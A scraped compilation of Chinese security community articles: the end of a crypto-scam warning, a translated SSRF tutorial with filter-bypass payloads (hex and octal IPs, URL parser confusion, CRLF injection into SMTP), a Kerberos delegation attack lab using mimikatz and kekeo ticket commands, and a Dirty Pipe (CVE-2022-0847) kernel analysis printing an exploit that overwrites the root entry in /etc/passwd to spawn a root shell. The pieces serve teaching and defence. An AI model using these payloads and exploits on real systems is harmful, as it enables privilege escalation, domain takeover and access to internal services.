另外也不要忘了，诈骗者自己有时也会将一些代币转账到他们指定的钱包，以减轻用户对其合法性的怀疑。但是，上面的例子表明，虚假交易清单的图片就已经足够让很多用户上钩了。比如在流行的Etherscan代币项目的评论中有很多衷心的请求，但仔细一看，要么是来自受骗的用户，要么就是来自试图博得同情的诈骗者：
无论如何，幻想着通过向诈骗者转账以获得更大“奖励”的天真的用户数量很多，而且还在持续增加中。
## 如何避免自己上钩？
诈骗者对加密货币失去兴趣的可能性为零：这一行的准入门槛很低，而且潜在的选择也太多了。粗略估计（基于来自网络犯罪分子使用的逾1000个钱包数据），网络犯罪分子去年就骗取了超过2.1万个ETH（按当时汇率接近1000万美元），这甚至还不包括通过经典网络钓鱼等手段获得的代币。鉴于此，如果你决定做一个投资加密货币，请务必始终遵循下面的规则：
l 请记住，唯一的免费奶酪就是捕鼠器上的那块，拿之前一定要慎重再慎重。
l 对于代币馈赠和“慈善”等好处，请在官方和独立信息源等确认这些信息的准确性。
l 使用二次认证或多因素身份认证。
l 使用第三方资源验证钱包上的交易。
l 在骗局中发现的钱包要经常标记上令牌跟踪器和区块探测器（用于查看有关加密货币交易详细信息的在线工具）。
l 经常检查超链接地址和URL。
l 为钱包地址添加书签，并且只从书签中访问钱包。 | 社区文章 |
# SSRF攻击文档翻译
## Part1 基础知识
Hello world！
我将在本文向您介绍服务器端请求伪造(SSRF)的概念，它是客户端请求伪造（CSRF）的表兄弟，QWQ，在开始之前，我只是简单的介绍一下这个概念的基础知识，以便于下一篇中引入更多高级的技术。我还必须赞扬NicolasGrégoire([Hack
in
Paris](https://www.youtube.com/watch?v=oxpbmUYCS4g)，[Hackfest](https://www.youtube.com/watch?v=TrBUrVDlc20))和Orange
Tsai([DEFCON](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf))，他们在很大程度上激发了本系列的内容，并以某种方式激发了我对这种技术的兴趣。我已经提供了一个[SSRF模拟环境](https://github.com/m6a-UdS/ssrf-lab)供您自己测试。文中所有的例子也是用这个环境来模拟。
那么服务器端请求伪造到底是什么？就是让服务器去请求你通常请求不到的东西，比如内网资产。这不是不可能，因为Web服务器通常可以访问比外部代理更多的资源，因为本地网络周边的信任级别很可能高于直接来自Internet的信任级别，证明了`defense
in-depth`方法的局限性。
深度防御是一种信息保障（IA）概念，其中在整个信息技术（IT）系统中放置多层安全控制。
其目的是在安全控制失败或利用漏洞的情况下提供多余的保障，该漏洞可以涵盖系统生命周期期间的人员，程序，技术和物理安全方面。
SSRF攻击并不是一个新鲜的事物，但趋势正在增多并暴露原始攻击面。从现在来说，我们
将假设有一个全新的[Web应用程序](https://en.wikipedia.org/wiki/Defense_in_depth_%28computing%29)，它已经变得非常流行，现在已经开始实现诸如`REST
API`和定制`WebHooks`等整洁的功能。
当然，你希望你的用户能够在发布之前测试他们的WebHook处理程序。在这种情况下，你需要给他们一个很好的调试接口：
因此，如果您的用户在`https://yourhandler.io/events`上监听`REST API`
，客户将收到测试事件并收到一些调试信息，例如来自其服务器的响应内容和状态代码。
如果我们处于攻击者的位置，我们现在有一台服务器愿意以我们的名义向任意位置发送HTTP请求，并向我们提供它得到的响应！问题是，它不能确保我们输入的URL实际上是外部
Internet地址。如果不是事件处理程序，我们输入类似`http://127.0.0.1:8080`的内容怎么办？那么，我们现在在主机上有一个端口扫描器，超出了防火墙或安全组，并且即使这些服务只在本地主机上侦听！当然，我们也可以尝试扫描流行的10.0.0.0/8子网中的本地地址。但是，我们怎么才能知道易受攻击主机的实际子网？
那么，让我说一下WHOIS的一个请求，告诉您易受攻击的Web应用程序的公有IP地址是AWS基础架构的一部分，为什么不尝试去询问[AWS元数据服务](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)？
我们现在知道我们Web应用程序的VPC地址空间。元数据服务可以提供非常有用的信息，但是如果我们不限制在Web上呢？让我们记住一个URL的结构：
scheme://user:pass@host:port/path?query=value#fragment
可以尝试访问主机的文件系统。
下面是我本机用作者提供的环境测试的：
YEAH！作为示例，我们现在能够挖掘配置文件和源代码文件，查找数据库凭据。
**结论**
如果您的应用程序向外部资源发出请求，请确保它们在所有情况下都是外部模式。我隐约听到你想说在这个例子的情况下，对用户输入进行简单的正则表达式过滤就可以实现防御。骚年，我的下一篇文章应该让你相信事情并不那么简单，并且URL验证比人们想象的更难。网络级别的出口过滤可能是保护您的应用程序的唯一方法之一，加上严格的方案：`scheme://
white-listing`
## Part2 Fun with IPv4 addresses
这是我的文章关于服务器端请求伪造攻击（SSRF）的第二部分,我必须赞扬NicolasGrégoire（Hack in
Paris，Hackfest）和Orange
Tsai（DEFCON），他们都强烈启发了这篇文章（第2部分特别广泛地使用了Nicolas的技术，我希望他把它作为贡品而不是抄袭，如果他看到这个）。
假设您已经意识到在新的WebHook功能中存在SSRF攻击的可能性，并决定以限制请求<http://和禁止请求的方式保护10.0.0.3，让外部不应该看到内部的一些私有服务。您决定使用两个正则表达式执行此操作，一个确保URL以URL开头，http[s]://，另一个限制我们的私密服务器的特定IP。>
if (preg_match('#^https?://#i', $handler) !== 1) {
echo "Wrong scheme! You can only use http or https!";
die();
} else if(preg_match('#^https?://10.0.0.3#i', $handler) === 1) {
echo "Restricted area!";
die();
}
免责声明：这不是保护您的服务器的好方法，请不要这样做。还要注意WebHook只是使用一个简单的`PHP curl`函数，没有什么特别的。
`scheme://`留在第三部分讲，那怎么请求`10.0.0.3`?
该死的，怎么可能 - 我们在没有DNS的情况下以某种方式解决这个问题？让我们尝试一些不一样的，我会稍后解释;
让我们尝试一个请求：<http://167722163>
等等，那里发生了什么？请记住，IPv4地址只是网络流中相对于OSI第3层（IP）的四个字节。为方便起见，我们通常将其表示为四个数字，但此值的整数也完全有效。让我们更详细地检查地址：
字符串值： 10.0.0.3
二进制： 00001010。00000000 00000000 00000011
十六进制： 0A.00.00.03
整数： 167772163
tips：php中有ip2long函数
<http://aokunsang.iteye.com/blog/622498>
现在，还有什么可以是我们能尝试的？肯定有很多方法可以表示32位;
其中最明显的是十六进制：<http://0x0A000003。你猜怎么着？它工作了，它绕过了正则表达式过滤器，并且php-curl给力的解释为IPv4地址！>
计算机世界中另一个鲜为人知的数字文字变体是八进制表示：在许多语言中，如果数字中最不重要的位置为零，则将其解释为base-8而不是我们人类友好的base-10小数点。因此，如果您编写020而不是20，您的计算机很可能会认为您在我们的十进制系统中意味着16。我们也可以使用它来欺骗正则表达式过滤器：<http://01200000003是我们的10.0.0.3IP地址的八进制表示，是的，它可以在php-curl中使用。>
#### 结论
从上文，我们可以尝试各种不同的方法;
我不知道如何在IP解析器中处理怎么处理的，但将十六进制中的`.`部分分开也是有效的：`http://0x0A.0x00.0x00.0x03`确实也是一个有效的请求`http://012.00.00.03`。NicolasGrégoire也指出，某些NodeJS应用程序服务器也可能会溢出字节，这样也`http://265.0.0.3`可能对我们的`http://10.0.0.3`目标起作用（因为265对于8位来说太大了，它在255处“重置”并且成为10）;
我无法在我的设置中重现此内容，但如果您有任何想法，请发表评论。
最后，我只想指出，在保护内部服务器时，正则表达式网络过滤并不是一种可行的方法。最好的方法是使用实际了解`TCP /
IP`逻辑的网络实用程序，以及网络协议创建者在实施这些标准时所考虑的所有细节。
## Part3 其他高级技术
这次我们的WebHook代码是用Python
Flask编写的。我们还有其他secret.corp内部服务器位于10.0.0.3。请记住我对第2部分的结论，可以将其改写为：
`不要试图自己解析网址; 而是使用制作的库`
所以你完全可以做到这一点，并使用Python 2.7的hostname库，在提交的url部分实现了一个过滤器：
url = request.form ['handler']
host = urlparse.urlparse（url）.hostname
if host =='secret.corp'：return'Restricted
Area！'
else：
return urllib.urlopen（url）.read（）
让我们尝试通过尝试访问这个服务器`http://secret.corp`：
似乎被过滤了，现在，为了科学，我们来尝试一下`http://google.com# @secret.corp`（注意URL中间的空格字符）：
等等，又发生了什么事？我们使用标准解析库的过滤器被绕过并授权它,达到访问不应该被请求的资源？嗯，是的，不是;
这里的问题是，我们使用一个库来过滤hostname另一个库来执行实际的请求，而且它们不会以相同的方式在URL中间插空格！该urlparse库解析网址为google.com。而urllib认为这是secret.corp和危险的请求。所以这里就是导致这个SSRF漏洞的两个库之间的不同解析。
但情况变得更糟......这是Orange Tsai演讲的一部分幻灯片：
正如你所看到的，Python库都有自己的方式来处理URL中的空格，如果你不在整个应用程序中坚持一种方式，那么在处理这些时可能会出现意想不到的结果。以下是官方RFC3968的内容：
The authority component is preceded by a double slash (“//”) and is terminated by the next slash (“/”), question mark (“?”), or number sign (“#”) character, or by the end of the URI
权限组件前面加双斜杠，并以/，？，#结束，或者结束的URI。
从这个定义来看，库表现得恰到好处是模棱两可的; 我个人认为没有任何事情完全符合这种行为。
#### 未来的工作：协议注入
作为结论，我想介绍协议注入的概念：请记住第1部分中的URL结构：
scheme://user:pass@host:port/path?query=value#fragment
怎么可能绕过一个scheme://只能访问HTTP（S）协议的固定版本？符合换行注入技术。现在，在写这篇文章的时候，我还没有在我的SSRF实验中将它作为一个Web服务器漏洞利用来实现，但它可以在很短的时间内在这个GitHub存储库文件夹中使用。同时，让我们考虑一下WebHook测试服务器上的用户。邮件服务器位于mail.corp，使用默认的Ubuntu
Postfix安装。我们的WebHook服务器只能发出HTTP请求。但是，如果我们能够\r\n像在主机名中一样注入换行符（），并且库接受它，则可以在SSL握手期间将有效的命令发送到SMTP服务器。这就是邮件服务器的TCP响应：
Request:
url = https://mail.corp\r\nHELO web.corp\r\nMAIL FROM...:25/
Response:
SMTP: 502 5.5.2 Error: command not recognized <SSL Gibberish>
SMTP: 250 web.corp
SMTP: 250 2.1.0 Ok
...
SMTP: 502 5.5.2 Error: command not recognized <SSL Gibberish>
这里的技巧是，在SSL握手期间，主机名被完全使用，如果它们被请求的库接受，则包括它的换行符。问题是，SMTP将换行符解释为“命令结束”信号，因此我们可以在SSL握手流量之间插入有效命令。我还有一些测试要做，以便在我的实验室中获得有效的POC
，但我的第一个Wireshark捕获的包是有用的。请注意，同样的技巧应该适用于任何基于文本的协议：例如，我可以使用它来注册到内部SIP服务器。如果您对我有实施建议，请发表评论，最后感谢Orange
Tsai和NicolasGrégoire的工作！
<https://github.com/m6a-UdS/ssrf-lab> | 社区文章 |
# Kerberos协议探索系列之委派篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00前言
在前两节中说到了关于Kerberos的扫描和Kerberoasting以及金票的利用，本文主要说明一下在kerberos体系中关于委派的利用方式，委派在域环境中其实是一个很常见的功能，对于委派的利用相较于先前说的几种攻击方式较为“被动”，但是一旦利用也会有很大的危害。
## 0x01什么是委派
在域中如果出现A使用Kerberos身份验证访问域中的服务B，而B再利用A的身份去请求域中的服务C，这个过程就可以理解为委派。
例：
User访问主机s2上的HTTP服务，而HTTP服务需要请求其他主机的SQLServer数据库，但是S2并不知道User是否有权限访问SQLServer，这时HTTP服务会利用User的身份去访问SQLServer，如果User有权限访问SQLServer服务才能访问成功。
而委派主要分为非约束委派（Unconstrained delegation）和约束委派（Constrained
delegation）两个方式，下面分别介绍两种方式如何实现。
### 1 非约束委派
非约束委派在Kerberos中实现时，User会将从KDC处得到的TGT发送给访问的service1（可以是任意服务），service1拿到TGT之后可以通过TGT访问域内任意其他服务，所以被称为非约束委派。
流程：
1. 用户通过发送KRB_AS_REQ消息请求可转发 TGT（forwardable TGT，为了方便我们称为TGT1）。
2. KDC在KRB_AS_REP消息中返回TGT1。
3. 用户再通过TGT1向KDC请求转发TGT（forwarded TGT，我们称为TGT2）。
4. 4在KRB_TGS_REP消息中返回转发TGT2。
5. 5、用户使用TGT1向KDC申请访问Service1的ST（Service Ticket）。
6. TGS返回给用户一个ST。
7. 用户发送KRB_AP_REQ请求至Service1，这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey。
8. Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC，以用户的名义请求能够访问Service2的票据。
9. KDC在KRB_TGS_REP消息中返回Service2到Service1的票据。
10. Service1以用户的名义像Service2发送KRB_AP_REQ请求。
11. Service2响应步骤10中Service1的请求。
12. Service1响应步骤7中用户的请求。
13. 在这个过程中的TGT转发机制，没有限制Service1对TGT2的使用，也就是说Service1可以通过TGT2来请求任意服务。
14. KDC返回步骤13中请求的票据。
15和16即为Service1通过模拟用户来访问其他Service。
可以看到在前5个步骤中User向KDC申请了两个TGT（步骤2和4），一个用于访问Service1一个用于访问Service2，并且会将这两个都发给Service1。并且Service1会将TGT2保存在内存中。
非约束委派的设置：
Windows域中可以直接在账户属性中设置：
### 2 约束委派
由于非约束委派的不安全性，微软在windows2003中发布了约束委派的功能。约束委派在Kerberos中User不会直接发送TGT给服务，而是对发送给service1的认证信息做了限制，不允许service1代表User使用这个TGT去访问其他服务。这里包括一组名为S4U2Self（Service
for User to Self）和S4U2Proxy（Service for User to Proxy）的Kerberos协议扩展。
从下图可以看到整个过程其实可以分为两个部分，第一个是S4U2Self的过程（流程1-4），第二个是S4U2Proxy的过程（流程5-10）。
流程：
1. 用户向Service1发送请求。
2. 这时在官方文档中的介绍是在这一流程开始之前Service1已经通过KRB_AS_REQ得到了用户用来访问Service1的TGT，然后通过S4U2self扩展模拟用户向KDC请求ST。
3. KDC这时返回给Service1一个用于用户验证Service1的ST（我们称为ST1），并且Service1用这个ST1完成和用户的验证过程。
4. Service1在步骤3使用模拟用户申请的ST1完成与用户的验证，然后响应用户。
注：这个过程中其实Service1是获得了用户的TGT和ST1的，但是S4U2Self扩展不允许Service1代表用户去请求其他的服务。
5. 用户再次向Service1发起请求，此时Service1需要以用户的身份访问Service2。这里官方文档提到了两个点：
1. Service1已经验证通过，并且有一个有效的TGT。
2. Service1有从用户到Service1的forwardable ST（可转发ST）。个人认为这里的forwardable ST其实也就是ST1。
6. Service1代表用户向Service2请求一个用于认证Service2的ST（我们称为ST2）。用户在ST1中通过cname（client name）和crealm（client realm）字段标识。
7. KDC在接收到步骤6中Service1的请求之后，会验证PAC（特权属性证书，在第一篇中有说明）的数字签名。如果验证成功或者这个请求没有PAC（不能验证失败），KDC将返回ST2给Service1，不过这个ST2中cname和crealm标识的是用户而不是Service1。
8. Service1代表用户使用ST2请求Service2。Service2判断这个请求来自已经通过KDC验证的用户。
9. Service2响应Service1的请求。
10. Service1响应用户的请求。
在这个过程中，S4U2Self扩展的作用是让Service1代表用户向KDC验证用户的合法性，并且得到一个可转发的ST1。S4U2Proxy的作用可以说是让Service1代表用户身份通过ST1重新获取ST2，并且不允许Service1以用户的身份去访问其他服务。更多的细节可以参考官方的文档，和RFC4120的内容。
同时注意forwardable字段，有forwardable标记为可转发的是能够通过S4U2Proxy扩展协议进行转发的，如果没有标记则不能进行转发。
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94>
约束委派的配置：
可以在账户属性中将tsvc的委派方式更改为约束委派
## 0x02发现域中的委派主机或账户
在域中，可以通过PowerView脚本来搜索开启了委派的主机和用户。查询非约束委派主要是通过搜索userAccountControl属性包含ADS_UF_TRUSTED_FOR_DELEGATION的主机或账户。而约束委派则通过查询userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION的主机或用户。
### 1 非约束委派
通过Import-Module PowerView.ps1加载PowerView脚本之后使用下面的命令进行查询。
查询域中配置非约束委派的账户：
Get-NetUser -Unconstrained -Domain yunying.lab
查询域中配置非约束委派的主机：
Get-NetComputer -Unconstrained -Domain yunying.lab
在另一个版本的PowerView中采用的是Get-DomainComputer
Get-DomainComputer -Unconstrained -Properties
distinguishedname,useraccountcontrol -Verbose | ft -a
### 2 约束委派
查询域中配置约束委派的账户：
Get-DomainUser –TrustedToAuth -Properties
distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl
Get-DomainUser -TrustedToAuth -Domain yunying.lab查看设置了约束委派的用户
查询域中配置约束委派的主机:
Get-DomainComputer -TrustedToAuth -Domain yunying.lab
## 0x03非约束委派的利用
上文中说明了两种委派方式，下面结合实验说明针对两种委派的利用方式。
实验
首先环境和前两篇文章相同。假设我们已经获取了一个已经配置了委派的账户权限或者是密码，现在我们通过这些条件来攻击其他账户。
实验环境：
域：YUNYING.LAB
域控：Windows Server 2008 R2 x64(DC)：用户Administrator
域内主机：Windows Server 2008 R2 x64(s2)：用户tsvc
所需工具：
Mimikatz
实验流程：
在域中只有服务账户才能有委派功能，所以先把用户tsvc设置为服务账号。
setspn -U -A variant/golden tsvc
通过setspn -l tsvc查看配置成功。
然后在“AD用户和计算机”中将tsvc设置为非约束委派模式
此时在域控上使用Administrator访问tsvc所在主机S2的SMB服务。
我们在S2上通过mimikatz可以导出Administrator发送过来的TGT内容。这里需要使用管理员权限打开mimikatz，然后通过privilege::debug命令提升权限，如果没有提升权限会报kuhl_m_sekurlsa_acquireLSA错误。再使用sekurlsa::tickets
/export命令导出内存中所有的票据。
可以看到名称为[0;9bec9][email protected]的这一条即为Administrator发送的TGT。
此时访问域控被拒绝。
通过kerberos::ptt [0;9bec9][email protected]命令将TGT内容导入到当前会话中，其实这也是一次Pass The Ticket攻击（有兴趣的可以了解一下）。
通过kerberos::list查看当前会话可以看到票据已经导入到当前会话。
导入之后已经可以访问域控的共享目录。也就是说每当存在用户访问tsvc的服务时，tsvc的服务就会将访问者的TGT保存在内存中，可以通过这个TGT访问这个TGT所属用户的所有服务。非约束委派的原理相对简单，就是通过获取到的administrator的TGT进行下一步的访问。
这里有一个点就是sekurlsa::tickets是查看内存中所有的票据，而kerberos::list只是查看当前会话中的kerberos票据。更多的mimikatz的使用可以参考<https://github.com/gentilkiwi/mimikatz/wiki>
Print Spooler服务+非约束委派提升至域控权限：
在2018年的DerbyCon中Will Schroeder（@ Harmj0y），Lee Christensen（@Tifkin_）和Matt
Nelson（@ enigma0x3）提到了关于非约束委派的新方式，通过域控的Print
Spooler服务和非约束委派账户提升至域控权限（<https://adsecurity.org/?p=4056>），主要的原理就是通过Print
Spooler服务使用特定POC让域控对设置了非约束委派的主机发起请求，获取域控的TGT，从而提升权限。
## 0x04约束委派的利用
约束委派由于只指定了特定的服务，所以利用起来相对非约束委派更加复杂，本实验的条件是配置了约束委派的账号，并且已知当前配置了约束委派的当前账户的密码（tsvc的密码）。
### 1 实验
这里环境和上文中不变，依然使用普通域账号tsvc和域Administrator账户。不过增加了一个新的工具kekeo，他和mimikatz是同一个作者。
1）、确认账号tsvc设置了约束委派。
通过工具PowerView的查询可以看到域内配置了约束委派的列表：
2）、使用kekeo对域控发起申请TGT的请求。
通过已知的账户名和明文密码对KDC发起请求，得到TGT。
Kekeo# tgt::ask /user:tsvc /domain:yunying.lab /password:admin1234!
/ticket:tsvc.kirbi
/user:当前用户名
/domain:所在域名
/password:当前用户名的密码
/ticket:生成票据名称，上图里生成的没有按参数设定的来命名，不重要，也可以直接跳过这个参数
3）、使用kekeo申请TGS票据
Kekeo#tgs::s4u /tgt:TGT_filename /user:[email protected]
/service:cifs/dc.yunying.lab
/tgt:上一步通过kekeo生成的tgt票据
/user:想要伪造的用户名写全称（用户名@域名）
/service:想要伪造访问的服务名（服务名/主机的FQDN名称）
4）、从kekeo中使用exit命令退出，然后使用mimikatz将生成的TGS文件导入到Kerberos凭据列表中
这时可以看到导入之后已经能够成功访问域控的共享文件（严格来说应该是非约束委派中设置的SPN的权限）。而且在这个过程中是不需要管理员权限的，只是用当前账户的权限就可以完成，因为不需要从内存中导出票据。
### 2 原理
下面看一下在非约束委派中是如何实现通过非约束委派去获得所设置的SPN的权限的。实验过程其实主要是三个步骤：
1. 请求TGT
2. 请求TGS
3. 将TGS导入内存
主要看1、2两个步骤，第1步中使用Kekeo发起AS-REQ请求去请求TGT。
Kekeo# tgt::ask /user:tsvc /domain:yunying.lab /password:admin1234!
/ticket:tsvc.kirbi
这时tsvc获取到了一个TGT，并且kekeo工具将其保存为一个kirbi格式的文件。
第2步，再使用这个TGT申请两个ST文件，上文中说到过在约束委派实现的过程中分为两个部分，分别是S4U2Self扩展和S4U2Proxy扩展。S4U2Self中Service1会代替用户向KDC申请一张用于访问自身的TGS，这个TGS也就是生成的两个TGS中的一个（[email protected]@[email protected]）还有一个TGS是用于访问非受限委派中设置的SPN的TGS（[email protected]@[email protected]）。
我们抓包也可以看到这里是发起了两次TGS_REQ请求，在第一个TGS_REQ请求的包里面可以看到KRB5-PADATA-S4U2SSELF的标识。并且cname和sname都是tsvc，也是侧面说明这个TGS其实就是拿来验证自身的。
再看第二个TGS_REQ请求，sname的值为cifs/dc.yunying.lab，也就是截图中非约束委派中“可由此账户提供委派凭据的服务”一栏中添加的SPN。而这个其实就是S4U2Proxy扩展中所申请的TGS票据。
关于约束委派的这种攻击方式就是通过在Service1（tsvc）中将自己伪造成用户，然后获取允许约束委派的SPN的TGS的一个过程。
## 0x05委派攻击的防御
通过上文中说到设置了非约束委派的账户权限如果被窃取那么攻击者可能获取非常多其他账户的TGT，所以最好是不要在域中使用非约束委派这种功能。
域中不需要使用委派的账户特别是administrator账户，设置为“敏感用户不能被委派”。
如果是win2012的系统也可以通过设置受保护的用户组来缓解委派所带来的危害。
## 0x06总结
在两种方式的委派中，非约束委派的实验获取的权限更大，能够通过TGT直接获取目标主机的所有服务权限，而约束委派实验主要是通过TGS来获取约束委派列表中设置的SPN的TGS来获得相应的SPN的权限。
同时在今年有国外的安全人员提出来基于NTLMRelay和约束委派结合进行权限提升的攻击方式，详情可参考下面链接，此处不再赘述：
<https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/>
这几篇文章也是通过实验来说明分析每一种Kerberos攻击方式的原理和如何实现，个人认为在Kerberos的攻击还是需要结合其他攻击方式才能发挥更大的作用，关于更多Kerberos的不同意见及看法欢迎留言交流，本文暂时到此完结，希望对你有所帮助。
实验工具
<https://github.com/gentilkiwi/mimikatz/releases/tag/2.1.1-20181209>
<https://github.com/gentilkiwi/kekeo/releases/>
## 参考链接
<https://adsecurity.org/?p=1667>
<https://xz.aliyun.com/t/2931#toc-6>
<http://www.harmj0y.net/blog/activedirectory/s4u2pwnage/>
<https://docs.microsoft.com/zh-cn/windows-server/security/credentials-protection-and-management/protected-users-security-group#BKMK_HowItWorks>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a>
<https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/> | 社区文章 |
## 从脏管道(CVE-2022-0847)到docker逃逸
本文主要分析了CVE-2022-0847的原理和由于其独特的利用条件造成的关于docker逃逸的利用思路
### 漏洞环境
#### 内核源码
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.1.tar.gz
#### 编译
make x86_64_defconfig # 加载默认config
make menuconfig # 自定义config
##### 编译选项
添加调试信息， 需要以下几行
[*] Compile the kernel with debug info
[*] Generate dwarf4 debuginfo
[*] Provide GDB scripts for kernel debugging
#### 文件系统
sudo mkfs.ext4 -F stretch.img
#### 共享文件夹与命令
上文制作的文件系统只有最基本的命令，在主机上下载静态编译的busybox和poc放到share目录下，方便在虚拟机中使用
在下文qemu的启动命令的`-hdb
fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share`是将主机的share目录挂载到虚拟机上，我这里的环境是在虚拟机的`/dev/sdb1`上，进入虚拟机后使用使用`mount`命令将share文件夹挂载即可
host:
mkdir share
wget bin.n0p.me/x64/busybox
mv busybox share
vir:
mkdir /share
mount /dev/sdb1 /share
由于本虚拟机是只有很基本的环境，在调试漏洞之前还需要做一些操作, 创建`/etc/passwd`, `修改权限`等
cat /share/passwd > /etc/passwd()
chmod 777 /tmp
touch /tmp/passwd.bak
chmod 777 /tmp/passwd.bak
#### qemu
启动虚拟机
一个小坑, 由于我的主机是`arch`, `qemu`的依赖被破坏了，需要手动安装低版本`libbpf`, 用`pacman -Udd`强制安装即可
sudo qemu-system-x86_64 \
-s \
-m 2G \
-smp 2 \
-kernel ./arch/x86/boot/bzImage \
-append "console=ttyS0 earlyprintk=serial"\
-hda ./stretch.img \
-hdb fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share \
-nographic \
-initrd initramfs.img \
-pidfile vm.pid \
2>&1 | tee vm.log
### 漏洞原理
在调试之前首先根据补丁来简单了解一下漏洞造成的原因。
[补丁](https://github.com/torvalds/linux/commit/9d2231c5d74e13b2a0546fee6737ee4446017903)中给`copy_page_to_iter_pipe()`和`push_pipe()`添加了`buf->flags`的初始化为0。
这里需要了解一些前置知识，有三篇写的很详细的文章
* [CVE-2022-0847 dirtypipe linux本地提权全网第二详细漏洞分析](https://fa1lr4in.com/2022/03/30/CVE-2022-0847-dirtypipe-linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%85%A8%E7%BD%91%E7%AC%AC%E4%BA%8C%E8%AF%A6%E7%BB%86%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
* [Linux 内核 DirtyPipe 任意只读文件覆写漏洞（CVE-2022-0847）分析](https://www.anquanke.com/post/id/269886#h3-2)
* [Linux 内核提权 DirtyPipe(CVE-2022-0847) 漏洞分析](https://paper.seebug.org/1843/)
不过由于本文重点不在这里，这里只简单说一下我自己的理解。
* 管道(`pipe`)是linux中进程中通信的主要手段，它被设计为一个可以循环使用的环形数据结构，通常只有16个`page`(每个`page`大小通常为4k)，为了节省空间，如果单次没有写满一个`page`大小，`pipe buffer`会有一个`PIPE_BUF_FLAG_CAN_MERGE`属性(其值为0x10)，用来标识该页面没有写满。当该属性存在时，下次`pipe_write()`会继续向同一个`page`写入数据。
* `splice()`将包含文件的`page`链接到`pipe`时`copy_page_to_iter_pipe()`和`push_pipe()`函数没有对`buf->flag`初始化，也就是说，如果该`page`的`PIPE_BUF_FLAG_CAN_MERGE`属性为真的话，会继续向该`page`写入内容，造成非法写入。
#### Exp分析
根据[exp](https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/blob/main/exploit.c)分析漏洞利用的细节，删除了部分检测利用条件、备份密码等漏洞利用不相关代码。
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
// 将所有管道填满，使其具有PIPE_BUF_FLAG_CAN_MERGE属性
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
// 读取所有管道的内容，即清空管道
}
int main() {
const char *const path = "/etc/passwd";
...
// 备份/etc/passwd
...
loff_t offset = 4;
// 略过"root"字符，这样构造也是因为漏洞利用的条件包含必须有大于1的偏移
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n";
// openssl passwd -1 -salt aaron aaron 密码的哈希散列
const int fd = open(path, O_RDONLY);
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
// 以只读权限打开特权文件
...
// 一些漏洞利用条件检查
int p[2];
prepare_pipe(p);
// 使得创建的管道具有PIPE_BUF_FLAG_CAN_MERGE属性，为漏洞利用做准备
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
// 将file page和pipe buf关联起来
// 由于PIPE_BUF_FLAG_CAN_MERGE属性的存在，不会创建新的pipe_buffer, 数据会直接写进file page中
nbytes = write(p[1], data, data_size);
// 写入数据
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell... (run commands now)\\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv);
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
// 弹出shell
}
从上面可以看出EXP主要可以分为四步
* 备份密码
* 使管道具有`PIPE_BUF_FLAG_CAN_MERGE`具有属性，EXP中使用的是填满再清空的方法
* 用splice将file page和pipe 关联起来
* 将数据写入管道
#### 动态跟踪
##### 使管道具有`PIPE_BUF_FLAG_CAN_MERGE`具有属性
使管道具有`PIPE_BUF_FLAG_CAN_MERGE`具有属性的关键点在[pipe_write函数中](https://elixir.bootlin.com/linux/v5.11.1/source/fs/pipe.c#L401)，已略去部分无关代码
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
...
if (!pipe->readers) {
// 没有读端直接返回
send_sig(SIGPIPE, current, 0);
ret = -EPIPE;
goto out;
}
...
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
// 判断管道头尾指针是否相等，如果相等则管道为空。
chars = total_len & (PAGE_SIZE-1);
// 判断需要写入的数据的大小，chars为余数
if (chars && !was_empty) {
// 页帧不为空且chars不为空，则从最后一页接着写
// 在exp前部分中，每次向pipe中写入的数据大小为页帧的整数倍，所以chars总为空
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
// 如果buf -> flag == PIPE_BUF_FLAG_CAN_MERGE, 即代表当前页是可融合的
// 且已有内容 + 剩余内容 < 页帧大小，则直接将剩余内容写入当前页
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);
